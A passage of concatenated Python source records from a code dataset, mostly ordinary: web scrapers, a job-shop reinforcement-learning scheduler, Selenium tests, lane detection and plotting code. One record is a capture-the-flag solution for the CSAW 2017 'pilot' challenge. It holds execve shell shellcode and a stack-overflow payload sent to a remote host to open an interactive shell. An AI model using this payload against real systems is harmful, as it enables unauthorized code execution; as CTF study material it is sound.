]\n return subs\n\n\ndef parse_name(li):\n return li.xpath('div/h3/a')[0].text\n\n\ndef parse_charaters(html):\n tree = etree.HTML(html)\n elm = tree.xpath('//*[@id=\"columnInSubjectA\"]')[0] \n elms_a = list( filter(lambda e: e.tag == 'a', elm.getchildren()) )\n ids = [a.attrib['name'].split('_')[1] for a in elms_a]\n return ids\n\n\ndef parse_item(html, id_, url):\n tree = etree.HTML(html)\n name = get_name(tree)\n img_url = get_img_url(tree)\n info = get_detail(tree)\n return {\n 'id': id_,\n 'label': name,\n 'info': info or \"\",\n 'image': 'https:' + img_url,\n 'link': url,\n 'categorie': 'person',\n }\n\ndef get_name(tree):\n elm = tree.xpath('//*[@id=\"headerSubject\"]/h1/small')\n if len(elm) > 0:\n return elm[0].text\n elm = tree.xpath('//*[@id=\"headerSubject\"]/h1/a')[0]\n return elm.text\n\ndef get_img_url(tree):\n elm = tree.xpath('//*[@id=\"columnCrtA\"]/div[1]/div/a/img')\n if len(elm) > 0:\n return elm[0].attrib['src']\n else:\n return ''\n\ndef get_detail(tree):\n elm = tree.xpath('//*[@id=\"columnCrtB\"]/div[2]')\n if len(elm) > 0:\n return elm[0].text\n else:\n return ''\n\n\njson_temp = {\n \"categories\": {\n \"person\": {\n \"label\": \"人物\",\n \"color\": \"#66ccff\",\n }\n },\n \"data\": {\n \"nodes\": [],\n \"edges\": [],\n }\n}\n\n\ndef process_pid(pid, out_dir):\n url = f\"https://bgm.tv/anime/browser?sort=rank&page={pid}\"\n while True:\n infos = []\n try:\n html = get_page(url)\n subs = parse_subjects(html)\n for id_, name in subs:\n process_subject(id_, name, out_dir)\n infos.append( (id_, name) )\n return infos\n except Exception as e:\n print(e, file=sys.stderr)\n\n\ndef process_subject(id_, name, out_dir):\n out = f\"{out_dir}/{id_}.json\"\n if os.path.exists(out):\n print(out, \"exists.\", file=sys.stderr)\n return id_, name\n json_ = deepcopy(json_temp)\n url = f\"https://bgm.tv/subject/{id_}/characters\"\n html = get_page(url)\n ch_ids = parse_charaters(html)\n for cid in ch_ids:\n url = f\"https://bgm.tv/character/{cid}\"\n html = get_page(url)\n item = parse_item(html, cid, url)\n json_['data']['nodes'].append(item)\n with open(out, 'w') as f:\n json.dump(json_, f, ensure_ascii=False, indent=2)\n print(id_, name, sep='\\t')\n return id_, name\n\n\ndef main(pages=[1,2,3,4,5,6,7,8,9,10],\n out_dir=\"./data/json\",\n index_json_path=\"./data/bgm.json\",\n workers=20):\n\n index_json = {\n \"data\": []\n }\n with ThreadPoolExecutor(max_workers=workers) as e:\n if workers == 1:\n map_ = map\n else:\n map_ = e.map\n for infos in map_(process_pid, pages, repeat(out_dir)):\n for id_, name in infos:\n data_url = f\"https://raw.githubusercontent.com/AniNet-Project/crawler/master/data/bgm/json/{id_}.json\"\n index_json['data'].append({\n 'id': id_, \n 'name': name,\n 'data': data_url,\n })\n \n index_json['date'] = str(datetime.utcnow())\n\n with open(index_json_path, 'w') as f:\n json.dump(index_json, f, ensure_ascii=False, indent=2)\n\nif __name__ == '__main__':\n fire.Fire(main)\n","sub_path":"bgm.py","file_name":"bgm.py","file_ext":"py","file_size_in_byte":4450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"224481944","text":"# project : Job_Flow\n# file : imagine_exe.py\n# author:yasuoman\n# datetime:2020/8/1 11:15\n# software: PyCharm\nfrom memento import Memento\nimport copy\nimport schedule\n\"\"\"\ndescription:\n说明:想象假设机器执行某个行为\n\"\"\"\nimport numpy as np\n\ndef instantiate_Memento(machines_object_dict,rem_pro_time_tables,m):\n mementos_dict = {}\n for i in range(m):\n mementos_dict[i+1] = Memento(i+1,copy.deepcopy(machines_object_dict),copy.deepcopy(rem_pro_time_tables))\n return mementos_dict\n\n\ndef get_single_machine_optional_action(id,machines_object_dict):#id代表这个机器的序号\n # 得到所有的机器缓冲区的作业\n all_Q_list = schedule.get_all_Q(machines_object_dict)\n\n # 赋值单个机器的Queue\n dict_data = schedule.list_dict(all_Q_list[:id]) # 得到一个字典\n machines_object_dict[id].set_Queues(dict_data)\n\n #计算单个机器的特征值\n single_machine_sets = machines_object_dict[id].calc_all_features()\n #得到单个机器的特征值\n single_machine_features = machines_object_dict[id].get_feature_vector()\n #得到单个机器的可选行为\n single_machine_optional_action = schedule.get_optional_action(single_machine_features)\n\n return single_machine_sets,single_machine_optional_action\n\n#执行相应行为 获得其奖励 + 折扣后的状态价值\ndef get_action_reward_value(single_machine_sets,single_machine_optional_action,id,\n machines_object_dict,now_time,rem_pro_time_tables,time_tables\n ,RL):\n reward_value_list=[]\n for i in single_machine_optional_action:\n #恶心的地方,这里还需要为每个行为都重新深拷贝machines_object_dict和rem_pro_time_tables\n machines_object_dict_copy = copy.deepcopy(machines_object_dict)\n rem_pro_time_tables_copy = copy.deepcopy(rem_pro_time_tables)\n #得到相应行为选中的工件及其加工时间\n single_pro_job_time = schedule.get_pro_job_time(i,machines_object_dict_copy[id],single_machine_sets)\n #print(single_pro_job_time)\n rem_pro_time_list = list(rem_pro_time_tables_copy[rem_pro_time_tables_copy > 0])\n #如果这个机器选择的行为不是行为9,即选择了某个工件进行加工,那么决定下一个时刻\n #由这个工件加工的时间和rem_pro_time_table中的最小值来确定\n if single_pro_job_time:\n #得到下一个时刻\n rem_pro_time_list.append(single_pro_job_time[1])\n next_time = min(rem_pro_time_list) + now_time\n #重新赋值rem_pro_time_tables为相应的加工时间,single_pro_job_time[0]表示加工的作业\n rem_pro_time_tables_copy[id-1][single_pro_job_time[0]-1] = single_pro_job_time[1]\n # 计算奖励值\n reward = schedule.calc_reward(now_time, next_time, machines_object_dict_copy)\n # 将所有机器的剩余加工时间减少一个时间间隔\n schedule.set_all_rem_pro_time(machines_object_dict_copy, next_time - now_time)\n # rem_pro_time_tables减少一个时间间隔,0和负数减少会一直变成负数\n rem_pro_time_tables_copy = rem_pro_time_tables_copy - (next_time - now_time)\n # 移除机器的缓冲区中已经加工完成的工件,这里只移除当前加工的这个工件\n schedule.remove_job_from_Q(machines_object_dict_copy[id], single_pro_job_time)\n\n # 将time_table中的作业加入待加工的机器的缓冲区中\n schedule.add_jobs_to_all_Q(machines_object_dict_copy, time_tables, rem_pro_time_tables_copy)\n # 重新获取所有机器中的缓冲区的作业\n all_Q_list_ = schedule.get_all_Q(machines_object_dict_copy)\n # 重新赋值Queue\n schedule.set_all_Queues(machines_object_dict_copy, all_Q_list_)\n\n # -------------- 重新计算特征值 --------------\n all_machine_sets_ = schedule.calc_all_machine_features(machines_object_dict_copy)\n all_machine_features_ = schedule.get_all_machine_features(machines_object_dict_copy)\n # 二维列表转化为一维列表\n all_machine_features_RL = [j for i in all_machine_features_ for j in i]\n #print(all_machine_features_)\n # print(RL.vector_C[0])\n discount_state_value = RL.calc_state_value(all_machine_features_RL)\n reward_value_list.append(reward + discount_state_value)\n # 如果这个机器选择的行为是行为9,即什么作业都不采取,那么直接不计算下一个状态,直接返回空列表\n\n\n\n\n return reward_value_list\n\ndef imagine_exe_single(id,machines_object_dict,now_time,rem_pro_time_tables,time_tables,RL\n ,epsilon,train):\n #得到机器的可选行为\n single_machine_sets,single_machine_optional_action = get_single_machine_optional_action(id,machines_object_dict)\n #遍历所有的行为,得到相应的奖励+折扣状态值\n reward_value_list = get_action_reward_value(single_machine_sets,single_machine_optional_action,id,\n machines_object_dict,now_time,rem_pro_time_tables,time_tables\n ,RL)\n\n\n\n #如果列表非空\n if reward_value_list:\n #找到其中奖励+状态值的最大值\n max_action_tuple = max(zip(reward_value_list,single_machine_optional_action))\n #生成一个对应的字典\n choose_action_dict = dict(zip(single_machine_optional_action,reward_value_list))\n # print(choose_action_dict)\n # print('\\n')\n # print(max_action_tuple)\n #如果是在训练过程,那么需要进行e_greedy选择行为\n if train:\n choose_action = e_greedy(epsilon,max_action_tuple[1],single_machine_optional_action)\n #如果是在训练完成,为了测试的时候,直接选择贪婪行为\n else:\n choose_action = max_action_tuple[1]\n #选择\n return (choose_action,choose_action_dict[choose_action])\n else:#说明选择了行为9,直接返回一个None\n\n return (9,None)\n\n\n\n\n\n\n\n\n\n\n\ndef e_greedy(epsilon,greedy_action,optional_action): #ε\n if np.random.uniform()>epsilon:\n choose_action = greedy_action\n else:\n choose_action = np.random.choice(optional_action)\n return choose_action\n\n\n\n","sub_path":"imagine_exe.py","file_name":"imagine_exe.py","file_ext":"py","file_size_in_byte":6393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"446680820","text":"with open('group_2015.csv','r') as fi:\n with open('new.csv','w') as fo:\n header=fi.readline()\n fo.write(header)\n subj=0\n game=0\n newgame=0\n for line in fi:\n line=line.split(',')\n if (subj != line[0]) or (game != line[1]):\n subj=line[0]\n game=line[1]\n newgame += 1\n line[0]='S101'\n line[1]=str(newgame)\n fo.write(\",\".join(line))\n","sub_path":"oldpy/individual_to_group.py","file_name":"individual_to_group.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"343755548","text":"# coding=utf-8\nfrom pwn import *\n# 思路:\n# 程序打印了栈中 buf 的地址,未开启 NX(DEP),因此可以在栈上布置 shellcode,栈溢出 ret 到 buf 地址执行\n# shellcode 可在 exploit-db 找到,无法使用可尝试更换\n# https://www.exploit-db.com/shellcode/?order_by=title&order=asc&p=Linux_x86-64\n# 由于栈空间限制为 0x20 + 8,所以需要控制 shellcode 的长度\n# shellcode = '\\x48\\x31\\xff\\x48\\x31\\xf6\\x48\\x31\\xd2\\x48\\x31\\xc0\\x50\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x53\\x48\\x89\\xe7\\xb0\\x3b\\x0f\\x05'\nshellcode = \"\\x31\\xf6\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x56\\x53\\x54\\x5f\\x6a\\x3b\\x58\\x31\\xd2\\x0f\\x05\"\n\n\np = remote('106.2.25.7', 8003)\n# p = process('./pilot')\ncontext.log_level = 'debug'\n\np.recvuntil('Location:')\nbuf_addr = int(p.recvuntil('\\n').replace('\\n', '')[2:], 16)\nlog.info('buf address => 0x%x' % buf_addr)\n\nbuf = shellcode\nbuf += 'A' * (0x20 + 8 - len(shellcode)) # 填充到 RBP\nbuf += p64(buf_addr)\n\np.recvuntil('Command:')\np.sendline(buf)\np.interactive()\n","sub_path":"实验吧pwn题/pilot/csaw2017_pilot/pilot.py","file_name":"pilot.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"503393003","text":"import requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport time\nimport re\nimport copy\n\n\"\"\" \n id = 1636 是 1.31号\n id = 1630 是 1.30号\n id = 1000 是 3.26号格式未变\n id = 692 开始 5.16号 格式变了\n\"\"\"\n\n\ndef create_data_frame():\n df = pd.DataFrame([], columns=['type', 'name', 'model', 'color', 'price', 'dealer', 'time', 'ctime'])\n\n t = time.time()\n\n data = {'type': '', 'name': '', 'model': '', 'color': '', 'price': '', 'dealer': '诺信', 'time': '', 'ctime': t}\n\n return df,data\n\ndef get_data_by_url(url,df,data):\n\n res = requests.get(url)\n soup = BeautifulSoup(res.text, 'html.parser')\n\n date = soup.find('font', attrs={'size': '5'}).get_text()\n index = date.find('日')\n date = date[:index+1]\n data['time'] = date\n bj_content = soup.find('div', id='bj-content')\n divs = bj_content.children\n\n divs = list(divs)\n\n if len(divs) <5:\n divs = divs[-1]\n\n a_index = 0\n b_index = 0\n\n for _, div in enumerate(divs):\n\n\n\n a = div.find('a',attrs = {'name':'行货手机报价'})\n\n if a != None:\n a_index = _\n\n b = div.find('a', attrs = {'name':'三星水货报价'})\n if b != None:\n b_index = _\n\n\n if _ == (a_index+1):\n data['type'] = '国行'\n tds = div.find_all('td')\n if len(tds) == 0:\n a_index = a_index +1\n for a, td in enumerate(tds):\n if (a+1) % 3 == 1:\n data['name'] = td.get_text()\n if (a+1) % 3 == 2:\n data['model'], color = split_model(td.get_text())\n if (a+1) % 3 == 0:\n price = td.get_text().split('/')\n muti_price(df,data,color,price)\n if _ == (b_index+1):\n data['type'] = '三星'\n data['name'] = '三星水货'\n tds = div.find_all('td')\n if len(tds) == 0:\n b_index = b_index +1\n for a, td in enumerate(tds):\n if (a + 1) % 3 == 1:\n text = td.get_text()\n if (a + 1) % 3 == 2:\n data['model'], color = split_model2(text,td.get_text())\n if (a + 1) % 3 == 0:\n price = td.get_text().split('/')\n muti_price(df, data, color, price)\n if _ == (len(list(divs))-1):\n for i, divv in enumerate(div.children):\n if i == 0:\n data['type'] = '索尼'\n data['name'] = '索尼水货'\n tds = divv.find_all('td')\n for a, td in enumerate(tds):\n if (a + 1) % 3 == 1:\n text = td.get_text()\n if (a + 1) % 3 == 2:\n data['model'], color = split_model2(text, td.get_text())\n if (a + 1) % 3 == 0:\n price = td.get_text().split('/')\n muti_price(df, data, color, price)\n if i == 3:\n data['type'] = 'apple国行'\n data['name'] = '官换国行'\n tds = divv.find_all('td')\n for a, td in enumerate(tds):\n if (a + 1) % 3 == 1:\n text = td.get_text()\n if (a + 1) % 3 == 2:\n data['model'], color = split_model2(text, td.get_text())\n if (a + 1) % 3 == 0:\n price = td.get_text().split('/')\n muti_price(df, data, color, price)\n\n if i == 6:\n data['type'] = '苹果国行'\n data['name'] = '苹果国行'\n tds = divv.find_all('td')\n for a, td in enumerate(tds):\n if (a + 1) % 3 == 1:\n text = td.get_text()\n if (a + 1) % 3 == 2:\n data['model'], color = split_model2(text, td.get_text())\n if (a + 1) % 3 == 0:\n price = td.get_text().split('/')\n muti_price(df, data, color, price)\n if i == 8:\n data['type'] = '港行apple'\n data['name'] = 'ipad'\n tds = divv.find_all('td')\n for a, td in enumerate(tds):\n if (a + 1) % 3 == 1:\n text = td.get_text()\n if (a + 1) % 3 == 2:\n data['model'], color = split_model2(text, td.get_text())\n if (a + 1) % 3 == 0:\n price = td.get_text().split('/')\n muti_price(df, data, color, price)\n if i == 9:\n data['type'] = '港行apple'\n data['name'] = 'ipad'\n tds = divv.find_all('td')\n for a, td in enumerate(tds):\n if (a + 1) % 3 == 1:\n text = td.get_text()\n if (a + 1) % 3 == 2:\n data['model'], color = split_model2(text, td.get_text())\n if (a + 1) % 3 == 0:\n price = td.get_text().split('/')\n muti_price(df, data, color, price)\n if i == 11:\n data['type'] = '港行apple'\n data['name'] = 'iphone'\n tds = divv.find_all('td')\n for a, td in enumerate(tds):\n if (a + 1) % 3 == 1:\n text = td.get_text()\n if (a + 1) % 3 == 2:\n data['model'], color = split_model2(text, td.get_text())\n if (a + 1) % 3 == 0:\n price = td.get_text().split('/')\n muti_price(df, data, color, price)\n\n if i == 12:\n data['type'] = '港行apple'\n data['name'] = 'iphone'\n tds = divv.find_all('td')\n for a, td in enumerate(tds):\n if (a + 1) % 3 == 1:\n text = td.get_text()\n if (a + 1) % 3 == 2:\n data['model'], color = split_model2(text, td.get_text())\n if (a + 1) % 3 == 0:\n price = td.get_text().split('/')\n muti_price(df, data, color, price)\n\n\n\n\ndef split_model(name):\n name = name.replace(' ', ' ')\n name = name.replace('\\n', '')\n if '色' in name:\n if 'G' in name: #有色 有G\n pos = name.rfind('G')\n model = name[:pos+1]\n color = name[pos+1:]\n if hasNumbers(color): #color 分隔不正确\n model = model +color[:-2]\n color = color[-2:]\n return model, color\n if ' ' in name:\n model_colors = name.split(' ')\n color = model_colors.pop()\n if hasNumbers(color):\n a = re.findall(r'\\d|\\W', color)\n r = a[-1]\n pos = color.rfind(r)\n model = color[:pos + 2]\n color = color[pos + 2:]\n model = ''.join(model_colors[:-1]) + model\n return model, color\n return ' '.join(model_colors), color\n else: #有色 没G\n return name[:-2], name[-2:]\n\n if '/' in name:\n if \" \" in name:\n model_colors = name.split(' ')\n if '全网' == model_colors[-1]:\n model_colors.pop()\n if '' == model_colors[-1]:\n model_colors.pop()\n for i, _ in enumerate(reversed(model_colors)):\n if '/' in _:\n if i != 0:\n i = -(i+1)\n colors = model_colors.pop(i)\n if hasNumbers(colors):\n model_colors = name.split(' ')\n model2 = model_colors[:-1]\n color = model_colors[-1:][0]\n if hasNumbers(color):\n a = re.findall(r'\\d|\\W', color)\n r = a[-1]\n pos = color.rfind(r)\n model = color[:pos +2]\n color = color[pos +2:]\n model = ''.join(model2) + model\n return model, color\n return ' '.join(model_colors[:-1]), ' '.join(model_colors[-1:])\n else:\n color = colors.split('/')\n return model_colors, color\n i = -(i + 1)\n colors = model_colors.pop(i)\n model = model_colors\n color = colors.split('/')\n models, color = is_eq_len(model, color)\n if hasNumbers(color[0]):\n a = re.findall(r'\\d|\\W', color[0])\n r = a[-1]\n pos = color[0].rfind(r)\n model = color[0][:pos +2]\n color = color[0][pos +2:]\n model = ''.join(models) + model\n return model, color\n return ' '.join(models), color\n if ')' in name:\n pos = name.rfind(')')\n model = name[:pos + 1]\n colors = name[pos + 1:]\n color = colors.split('/')\n model, color = is_eq_len(model, color)\n return model, color\n if ')' in name:\n pos = name.rfind(')')\n model = name[:pos + 1]\n colors = name[pos + 1:]\n color = colors.split('/')\n model, color = is_eq_len(model, color)\n return model, color\n if 'G' in name: #有G 没色\n pos = name.rfind('G')\n model = name[:pos+2]\n colors = name[pos+2:]\n color = colors.split('/')\n model, colors = is_eq_len(model, color)\n\n if hasNumbers(colors[0]): #color 分隔不正确\n model = model +colors[0][:-2]\n color = colors[0][-2:]\n\n return model, color\n else:\n pos = name.find('/')\n model = name[:pos - 1]\n colors = name[pos - 1:]\n color = colors.split('/')\n return model, color\n if ' ' in name:\n model_colors = name.split(' ')\n color = model_colors.pop()\n if ')' in color:\n pos = name.rfind(')')\n model = name[:pos + 1]\n color = name[pos + 1:]\n if 'G' in color:\n pos = name.rfind('G')\n model = name[:pos + 1]\n color = name[pos + 1:]\n return model, color\n return model, color\n if ')' in color:\n pos = name.rfind(')')\n model = name[:pos + 1]\n color = name[pos + 1:]\n if 'G' in color:\n pos = name.rfind('G')\n model = name[:pos + 1]\n color = name[pos + 1:]\n return model, color\n return model, color\n if 'G' in color:\n pos = name.rfind('G')\n model = name[:pos + 1]\n color = name[pos + 1:]\n return model, color\n if hasNumbers(color):\n a = re.findall(r'\\d|\\W', color)\n r = a[-1]\n pos = color.rfind(r)\n model = color[:pos + 2]\n color = color[pos + 2:]\n model = ''.join(model_colors[:-1]) + model\n return model, color\n return ' '.join(model_colors), color\n if ')' in name:\n pos = name.rfind(')')\n model = name[:pos + 1]\n color = name[pos + 1:]\n return model, color\n if ')' in name:\n pos = name.rfind(')')\n model = name[:pos + 1]\n color = name[pos + 1:]\n return model, color\n if 'G' in name: # 有G 没色\n pos = name.rfind('G')\n model = name[:pos + 1]\n color = name[pos + 1:]\n return model, color\n else:\n return name, ''\n\ndef split_model2(name,name2):\n\n if '】' in name2:\n colors = re.findall(r'【.*】',name2)\n color = colors[0][1:-1]\n if '/' in color:\n color = color.split('/')\n name2 = name2.replace(colors[0],' ')\n model = name +name2\n\n return model, color\n if \"/\" in name2:\n colors = name2.split('/')\n return name,colors\n else:\n return name+name2, ''\n\n\ndef is_eq_len(model, color):\n\n if len(color) ==1:\n return model,color\n if len(color[0]) != len(color[1]):\n pre = color[0][:-len(color[1])]\n last = color[0][-len(color[1]):]\n if len(last) == 0:\n return model, color\n model = ' '.join(model) + pre\n color[0] = last\n return model, color\n return model, color\n\n\ndef hasNumbers(inputString):\n return bool(re.search(r'\\d', inputString))\n\ndef muti_price(df,data,colors,price):\n\n if type(colors) != list:\n colors = colors.split(\"//\")\n\n \"\"\" 单颜色\"\"\"\n if len(colors) == 1:\n\n data['color'] = colors[0]\n data['price'] = price[0]\n df.loc[df.shape[0] + 1] = data\n return\n \"\"\" 多颜色 不对称\"\"\"\n if len(colors) == len(price):\n\n for i,color in enumerate(colors):\n data['color'] = color\n data['price'] = price[i]\n df.loc[df.shape[0] + 1] = data\n\n return\n else:\n for i, color in enumerate(colors):\n data['color'] = color\n data['price'] = price[0]\n df.loc[df.shape[0] + 1] = data\n\n\n\"\"\" 1271开始是2017.1.1\n 1608开始是2018.1.1\n 925是2016.1.1\n 573是2015.1.1\"\"\"\n\nif __name__ == '__main__':\n \n year = '2018年'\n #_=1435\n id = 1637\n for _ in reversed(range(id-1000,id+1)):\n url = 'http://www.sznuoxin.cn/?bj-%s.html' % _\n\n if _ < 1608:\n year = '2017年'\n if _ < 1271:\n year = '2016年'\n if _ < 925:\n year = '2015年'\n if _ < 573:\n year = '2014年'\n df, data = create_data_frame()\n get_data_by_url(url, df, data)\n if len(data['time']) >6:\n data['time'] = data['time'][-5:]\n df.to_excel('诺亚通信'+year+data['time']+'.xlsx', index=True, header=True, sheet_name=data['time'])\n print('完成爬取'+year+data['time'])","sub_path":"nuoxin.py","file_name":"nuoxin.py","file_ext":"py","file_size_in_byte":14895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"296330139","text":"# from base_page import BasePage\n# from .base_page.py import BasePage\n# .pages.main_page import MainPage\n# from pages.main_page import MainPage\nfrom pages.main_page import MainPage\nfrom pages.login_page import LoginPage\nfrom pages.basket_page import BasketPage\nimport pytest\nlink_main = \"http://selenium1py.pythonanywhere.com/\"\nlink_2019 = \"http://selenium1py.pythonanywhere.com/catalogue/coders-at-work_207/?promo=newYear2019\"\n\ndef test_guest_can_go_to_login_page(browser):\n link = link_main\n browser.get(link)\n login_link = browser.find_element_by_css_selector(\"#login_link\")\n login_link.click()\n\n@pytest.mark.login_guest\nclass TestLoginFromMainPage():\n def test_guest_should_see_login_link(self,browser):\n \tlink = link_main\n \tpage = MainPage(browser, link)\n \tpage.open()\n \tpage.should_be_login_link()\n def test_guest_can_go_to_login_page(self,browser):\n link = link_main\n page = MainPage(browser, link) # инициализируем Page Object, передаем в конструктор экземпляр драйвера и url адрес \n page.open() # открываем страницу\n login_page = page.go_to_login_page() # выполняем метод страницы — переходим на страницу логина\n\ndef test_login_page_its_ok(browser):\n link = link_main\n page = MainPage(browser, link)\n page.open() # открываем страницу\n page.go_to_login_page()\n login_page = LoginPage(browser, browser.current_url)\n login_page.should_be_login_page()\n\ndef test_guest_cant_see_product_in_basket_opened_from_main_page(browser):\n # Гость открывает главную страницу\n link = \"http://selenium1py.pythonanywhere.com/ru\"\n page = MainPage(browser, link)\n page.open()\n # page.should_be_basket_link()\n basket_page = page.go_to_basket()\n basket_page = BasketPage(browser, browser.current_url)\n # Ожидаем, что в корзине нет товаров\n basket_page.should_be_basket_url()\n basket_page.should_be_basket_is_empty()\n # Ожидаем, что есть текст о том что корзина пуста \n basket_page.basket_text_empty()\n\n\n","sub_path":"test_main_page.py","file_name":"test_main_page.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"378021614","text":"'''\nGet Lane Lines from Still Image\nDavid Zechmeister\n\n05.04.2018\n\n'''\n\n# Imports\nimport os\nimport cv2\nimport configparser\nimport numpy as np\n#import LaneSettings as settings\nfrom PIL import Image\n\n# Test Image\nsrcPath = \"Lane Keeping/Files/img.jpg\"\nlaneLinePath = \"Lane Keeping/Files/lanelines.jpg\"\ncombinedPath = \"Lane Keeping/Files/combined.jpg\"\ncannyPath = \"Lane Keeping/Files/canny.jpg\"\nroiPath = \"Lane Keeping/Files/roi.jpg\"\n\n# Get settings\nconfig = configparser.ConfigParser()\nconfig.read(\"settings.ini\")\nsettings = config[\"LaneKeeping\"]\n\n\nhM = int(settings[\"heightMultiplier\"])\ncM = int(settings[\"cropMultiplier\"])\nbM = int(settings[\"bottomMultiplier\"])\n\nimage = cv2.imread(srcPath)\nlaneLines = 0\n\ndef calcLaneLines(roiImage):\n rho = 2\n theta = np.pi/180\n threshold = 15\n minLineLength = 25\n maxLineGap = 100\n laneLines = cv2.HoughLinesP(roiImage, rho, theta, threshold, np.array(\n []), minLineLength, maxLineGap)\n\n return laneLines\n\n\n# Perform Hough Transformation on ROI-Image\n# Draw Lines on Blank Image\ndef houghTransformation(roiImage):\n laneLines = calcLaneLines(roiImage)\n houghTransformation.laneLines = laneLines\n laneLineImage = np.zeros(\n (roiImage.shape[0], roiImage.shape[1], 3), dtype=np.uint8)\n\n for line in laneLines:\n for x1, y1, x2, y2 in line:\n cv2.line(laneLineImage, (x1, y1), (x2, y2), [0, 0, 255], 2)\n \n return laneLineImage\n\n\n# Delete all unnecessary objects from canny image\n\n\ndef regionOfInterest(img):\n imshape = img.shape\n lower_left = [imshape[1]/bM, imshape[0]]\n lower_right = [imshape[1]-imshape[1]/bM, imshape[0]]\n top_left = [imshape[1]/cM-imshape[1]/hM, imshape[0]/cM+imshape[0]/hM]\n top_right = [imshape[1]/cM+imshape[1]/hM, imshape[0]/cM+imshape[0]/hM]\n vertices = [np.array([lower_left, top_left, top_right,\n lower_right], dtype=np.int32)]\n \n # Black Image in same size as original\n mask = np.zeros_like(img)\n\n #filling pixels inside the polygon defined by \"vertices\" with the fill color\n cv2.fillPoly(mask, vertices, 255)\n\n #returning the image only where mask pixels are nonzero\n masked_image = cv2.bitwise_and(img, mask)\n return masked_image\n\n\n# Get Lanelines from Image\ndef getLaneLines():\n grayImage = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n maskWhite = cv2.inRange(grayImage, 200, 255)\n gaussBlur = cv2.GaussianBlur(maskWhite, (5, 5), 0)\n lowEnd = 50\n highEnd = 150\n cannyConverted = cv2.Canny(gaussBlur, lowEnd, highEnd)\n roiImage = regionOfInterest(cannyConverted)\n laneLineImage = houghTransformation(roiImage)\n\n cv2.imwrite(cannyPath, cannyConverted)\n cv2.imwrite(laneLinePath, laneLineImage)\n cv2.imwrite(roiPath, roiImage)\n\n return laneLineImage\n\nlaneLineImage = getLaneLines()\ncombinedImage = cv2.addWeighted(image, 0.5, laneLineImage, 0.5, 0)\ncv2.imwrite(combinedPath, combinedImage)\nprint(\"Lane Lines Converted and Saved!\")\n","sub_path":"LaneKeeping/StillLaneDetection.py","file_name":"StillLaneDetection.py","file_ext":"py","file_size_in_byte":2959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"358700097","text":"import json\nimport os\nimport sys\nimport htmIO\nimport itertools\nimport matplotlib.pyplot as plt\nfrom matplotlib.collections import LineCollection\nimport numpy as np\n\nfrom htmUtil import unique_key\n\ndef drawPTBoxQuery(query):\n query_str = json.dumps(query)\n datapoints = htmIO.readFromMongo(query)\n print('Query:', query_str)\n drawPTBox(datapoints, query_str)\n\n\ndef drawPTBox(datapoints, figName='', markings={}, maximized=True, saveFiguresToFile=False):\n '''\n Draws time/stops figure. All datapoints MUST be from the same date!\n :param datapoints: list\n :param figName:\n :param markings: dictionary {unique_key: cluster} dictionary {cluster_num: [unique_keys_of_datapoints]} # when empty clusters will not be shown\n :return:\n '''\n estavl = 'est'\n #print('Total data points:', len(datapoints))\n datapoints = sorted(datapoints, key = lambda x : (x['gtfsTripID'], x['sequence']))\n\n lines_planned = []\n lines_actual = []\n\n minseq = sys.maxsize\n maxseq = 0\n mintime = sys.maxsize\n maxtime = 0\n maxload = 60 #getMaxLoad(datapoints) #60 #np.percentile([dp['load'] for dp in datapoints], 98)\n #print('Max load:', maxload)\n tripIds = set()\n\n clustered_dots = {}\n for i, g in itertools.groupby(datapoints, key=lambda x: x['gtfsTripID']):\n tripIds.add(i)\n\n lineP = []\n lineA = []\n for dp in g:\n key = unique_key(dp)\n if key in markings:\n cluster = markings[key]\n curdots = clustered_dots.get(cluster, [])\n curdots.append((dp['{}Arrival'.format(estavl)] / 3600, dp['sequence']))\n clustered_dots[cluster] = curdots\n\n if minseq > dp['sequence']:\n minseq = dp['sequence']\n if maxseq < dp['sequence']:\n maxseq = dp['sequence']\n mintime = min(mintime, dp['{}Arrival'.format(estavl)],dp['{}Departure'.format(estavl)],dp['gtfsArrival'])\n maxtime = max(maxtime, dp['{}Arrival'.format(estavl)],dp['{}Departure'.format(estavl)],dp['gtfsArrival'])\n\n #checks:\n # if dp['estArrival'] - dp['gtfsArrival'] != dp['estArrivalDelay']:\n # print('UNEQUAL ARRIVAL:', dp)\n # if dp['estDeparture'] - dp['gtfsDeparture'] != dp['estDepartureDelay']:\n # print('UNEQUAL DEPARTURE:', dp)\n\n load = min(1.0, dp['load'] / maxload)\n lineA.append((dp['{}Arrival'.format(estavl)] / 3600, dp['sequence'], load))\n lineA.append((dp['{}Departure'.format(estavl)] / 3600, dp['sequence'], load))\n lineP.append((dp['gtfsArrival'] / 3600, dp['sequence'], 0.8))\n lines_actual.append(lineA)\n lines_planned.append(lineP)\n\n #print('Trip IDs:', tripIds)\n\n #========================================\n #===== plotting\n #========================================\n def tocmap(c): # readjusting the colors to fit half of the scale of 'brg' colormap in mpl\n return 0.5 + (1-c)/2\n\n fig, axs = plt.subplots(figsize=(16.0, 10.0))\n norm = plt.Normalize(0, 1)\n\n def getClusterColors(cluster):\n '''\n :param cluster: either just cluster marking as integer, or (marking, blob_number)\n :return: (color, marker)\n '''\n if isinstance(cluster, int):\n cluster_colors = {-1: 'cx', 0: 'g+', 1: 'k^', 2: 'bo', 3: 'ms', 4: 'r*'} #, 3: 'cx', 4: 'm^', 5: 'y^', 6: 'r^'} # 'c', 'm', 'y', 'k'\n #cluster_colors = {0: 'g+', 1: 'bo', 2: 'ks'}\n cc = cluster_colors[cluster]\n return cc[0], cc[1]\n elif len(cluster) == 2:\n markers = {-1: 'x', 0: '+', 1: 's', 2: 'o', 3: '^', 4: '*'}\n marker = 